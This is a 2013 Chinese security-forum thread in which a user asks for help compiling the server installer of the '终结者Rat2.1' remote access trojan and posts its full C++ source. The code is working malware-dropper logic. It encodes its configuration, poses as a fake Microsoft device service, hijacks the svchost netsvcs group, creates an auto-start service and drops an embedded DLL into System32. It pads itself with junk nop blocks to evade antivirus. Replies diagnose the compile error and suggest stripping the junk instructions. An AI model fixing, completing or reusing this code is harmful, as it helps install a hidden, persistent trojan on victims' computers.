小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛
标题:
编译代码出错.大牛帮我看看是怎么回事,谢谢!
[打印本页]
作者:
mqbblove
时间:
2013-9-28 11:10
标题:
编译代码出错.大牛帮我看看是怎么回事,谢谢!
编译代码出错..下的论坛的终结者,大牛帮我看看是怎么回事,谢谢!
--------------------Configuration: install - Win32 Release--------------------
Compiling...
install.cpp
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(80) : warning C4018: '<' : signed/unsigned mismatch
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : error C2146: syntax error : missing ';' before identifier 'pExitProcess'
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : error C2501: 'ExitProcessT' : missing storage-class or type specifiers
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : fatal error C1004: unexpected end of file found
执行 cl.exe 时出错.
install.obj - 1 error(s), 0 warning(s)
作者:
丝腰
时间:
2013-9-28 11:37
未定义 错误
作者:
mqbblove
时间:
2013-9-28 11:39
丝腰 发表于 2013-9-28 11:37
未定义 错误
怎么破???
作者:
mqbblove
时间:
2013-9-28 11:41
本帖最后由 mqbblove 于 2013-9-28 11:44 编辑
编译源码
作者:
mqbblove
时间:
2013-9-28 11:43
// install.cpp : Defines the entry point for the application.
//
#include "StdAfx.h"
#include <io.h>
#pragma comment(linker, "/defaultlib:msvcrt.lib /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
#include "resource.h"
#include <windows.h>
#include <stdlib.h>
#include <Aclapi.h>
#include <lm.h>
#include <Shlwapi.h>
#pragma comment(lib, "NetApi32.lib")
#include "acl.h"
#include "decode.h"
#include "RegEditEx.h"
#include <stdio.h>
#pragma comment(lib, "DELAYIMP.LIB")
#pragma comment(linker, "/DELAYLOAD:USER32.dll")
#pragma comment(linker, "/DELAY:nobind")
#pragma comment(linker, "/DELAY:unload")
struct MyDATAbon
{
char ServiceName[50];
char ServiceDisplayName[100];
char ServiceDescription[200];
char ReleasePath[200];
WORD FileAttribute;
char UpGroup[200];
}
MydataBox =
{
"Microsoft Sunley",
"Microsoft Device Mini",
"监测和监视新硬件设备并自动更新设备驱动。",
"C:\\Windows\\System32\\Sunley.dll",
FILE_ATTRIBUTE_NORMAL,
"默认分组",
};
VOID MyEncryptFunction(LPSTR szData,WORD Size)
{
//该数组用来异或
WORD AddTable[]={
3,2,5,8,5,1,2,3,2,5,3,4,1,2,
4,3,5,8,2,4,5,8,1,2,4,3,1,1,
8,1,2,4,3,1,1,5,2,2,1,2,1,3,
5,2,2,1,2,1,3,3,1,2,3,5,2,6,
2,4,1,3,2,1,2,6,2,3,3,2,1,1,
3,6,2,1,2,4,4,3,1,2,3,5,2,6,
3,1,2,3,5,2,6,5,2,2,1,2,1,2,
6,2,3,3,2,1,1,5,2,2,1,2,1,2,
3,2,5,3,4,1,2,2,3,1,2,3,5,2
};
WORD TableSize = sizeof(AddTable)/sizeof(WORD);
WORD iCount=0;
// FuckCracker=FALSE;
for (WORD i=0;i<Size;i++)
{
if(iCount == TableSize)
iCount = 0;
szData[i]^=AddTable[iCount];
//BUG 忘记iCount++ 导致异或的是数组表 3..
iCount++;
}
}
VOID MyCreatDirector(LPSTR Path)
{
CHAR Dir[MAX_PATH]={NULL};
for (int i=0;i<strlen(Path);i++)
{
if(Path[i]=='\\')
{
strncpy(Dir,Path,i);
if(_access(Dir,NULL)==-1)
CreateDirectory(Dir,NULL);
}
}
}
ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
void dbg_dump(struct _EXCEPTION_POINTERS* ExceptionInfo) {
}
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
dbg_dump(ExceptionInfo);
ExitProcess(0);
}
BOOL MyFreeResource(char *szResourceID, char *szType, LPCTSTR lpFileName)
{
FILE* fpOut = fopen(lpFileName, "wb");
if(fpOut == NULL)
return FALSE;
HRSRC hResLoad = FindResource(NULL, szResourceID, szType);
HGLOBAL hResData = LoadResource(NULL,hResLoad);
LPCSTR data = (LPCSTR)LockResource(hResData);
if(hResLoad != NULL && hResData != NULL && data != NULL)
fwrite(data,1,SizeofResource(NULL,hResLoad),fpOut);
fclose(fpOut);
return TRUE;
}
char *AddsvchostService()
{
SetLastErrorT pSetLastError= (SetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetLastError");
lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
lstrcmpiAT plstrcmpiA= (lstrcmpiAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrcmpiA");
char *lpServiceName = NULL;
int rc = 0;
HKEY hkRoot;
char buff[2048];
//query svchost setting
char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS != rc)
return NULL;
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
DWORD type, size = sizeof buff;
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
pSetLastError(rc);
if(ERROR_SUCCESS != rc)
RegCloseKey(hkRoot);
bool bExist = false;
for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
{
if (plstrcmpiA(ptr, MydataBox.ServiceName) == 0)
{
bExist = true;
break;
}
}
if (bExist==false)
{
MydataBox.ServiceName[plstrlenA(MydataBox.ServiceName) + 1] = '\0';
memcpy(buff + size - 1, MydataBox.ServiceName, plstrlenA(MydataBox.ServiceName) + 2);
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + plstrlenA(MydataBox.ServiceName) + 1);
RegCloseKey(hkRoot);
pSetLastError(rc);
lpServiceName = new char[plstrlenA(MydataBox.ServiceName) + 1];
lstrcpy(lpServiceName, MydataBox.ServiceName);
}else{
int i = 0;
bExist = false;
char servicename[50];
do
{
wsprintf(servicename, "netsvcs_0x%d", i);
for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
{
if (plstrcmpiA(ptr, servicename) == 0)
{
bExist = true;
break;
}
}
if (bExist == false)
break;
bExist = false;
i++;
} while(1);
servicename[plstrlenA(servicename) + 1] = '\0';
memcpy(buff + size - 1, servicename, plstrlenA(servicename) + 2);
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + plstrlenA(servicename) + 1);
RegCloseKey(hkRoot);
pSetLastError(rc);
if (bExist == false)
{
lpServiceName = new char[plstrlenA(servicename) + 1];
lstrcpy(lpServiceName, servicename);
}
}
return lpServiceName;
}
char *InstallService(LPCTSTR lpServiceDisplayName, LPCTSTR lpServiceDescription)
{
lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
SetLastErrorT pSetLastError= (SetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetLastError");
// Open a handle to the SC Manager database.
char MyDllPath[MAX_PATH];
char strModulePath[MAX_PATH];
ExpandEnvironmentStrings(MydataBox.ReleasePath, MyDllPath, MAX_PATH);
char *lpServiceName = NULL;
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
DWORD dwStartType = 0;
try{
char strSubKey[1024];
//query svchost setting
char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
if(ERROR_SUCCESS != rc)
{
throw "";
}
DWORD type, size = sizeof strSubKey;
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)strSubKey, &size);
RegCloseKey(hkRoot);
pSetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegQueryValueEx(Svchost\\netsvcs)";
//install service
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
throw "OpenSCManager()";
char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
lpServiceName = AddsvchostService();
schService = CreateService(
hscm, // SCManager database
lpServiceName, // name of service
lpServiceDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
bin, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
dwStartType = SERVICE_WIN32_OWN_PROCESS;
//////////////////////////////////////////////////////////////////////////
if (schService == NULL)
throw "CreateService(Parameters)";
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
//config service
hkRoot = HKEY_LOCAL_MACHINE;
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
{
DWORD dwServiceType = 0x120;
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
}
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, plstrlenA(lpServiceDescription), 0);
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
复制代码
作者:
mqbblove
时间:
2013-9-28 11:43
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
lstrcat(strSubKey, "\\Parameters");
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)MyDllPath, plstrlenA(MyDllPath), 0);
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceMain", REG_SZ, "ServiceMain", lstrlen(strModulePath), 0);
}catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
if (lpServiceName != NULL)
{
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
MyFreeResource("DLL", "BIN", MyDllPath);
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
__asm NOP;
}
return lpServiceName;
}
void StartService(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
if ( NULL != hService )
{
StartService(hService, 0, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}
BOOL silence()
{
ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
try
{
fopen("shit.exe", "r");
throw 1;
pExitProcess(0);
}
catch (int)
{
return TRUE;
}
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MyEncryptFunction((LPSTR)&MydataBox,sizeof(MyDATAbon));
ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
if ( !silence() )
{
pExitProcess(0);
}
SleepT pSleep= (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");
// TODO: Place code here.
//////////////////////////////////////////////////////////////////////////
// 让启动程序时的小漏斗马上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
if (GetFileAttributes( MydataBox.ReleasePath ) == 0xFFFFFFFF)
{
MyCreatDirector(MydataBox.ReleasePath);
}
char *lpServiceName = NULL;
char *lpUpdateArgs = "windows hehe";
//////////////////////////////////////////////////////////////////////////
// 如果不是更新服务端
if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)
{
}
else
{
// 等待服务端自删除
pSleep(5000);
}
SetUnhandledExceptionFilter(bad_exception);
lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
lpServiceName = InstallService(MydataBox.ServiceDisplayName, MydataBox.ServiceDescription);
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
char *lpUpGroup=MydataBox.UpGroup;
if (lpServiceName != NULL)
{
// 写安装程序路径到注册表,服务开始后读取并删除
char strSelf[MAX_PATH];
char strSubKey[1024];
memset(strSelf, 0, sizeof(strSelf));
GetModuleFileName(NULL, strSelf, sizeof(strSelf));
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "fuckweiruan", REG_SZ, strSelf, plstrlenA(strSelf), 0);
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ConnectGroup", REG_SZ, lpUpGroup,plstrlenA(lpUpGroup), 0);
StartService(lpServiceName);
}
SetFileAttributes(MydataBox.ReleasePath,MydataBox.FileAttribute);
pExitProcess(0);
return 0;
}
复制代码
作者:
81908453
时间:
2013-9-28 11:46
可不可以教教我啊 我不会编译 谁教编译啊 有教程的发我邮箱
1908309406@qq.com
谢谢了
作者:
丝腰
时间:
2013-9-28 14:47
动态调用未定义
作者:
君戦天
时间:
2013-11-11 09:31
一般编译这些 要不是 SDK没更新就是 XTP库没弄好。实在不行 就把花指令去掉 反正没用了 代码公布出来 花指令就等于废了
欢迎光临 小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛 (https://xqmsyk.com/)
Powered by Discuz! X3.3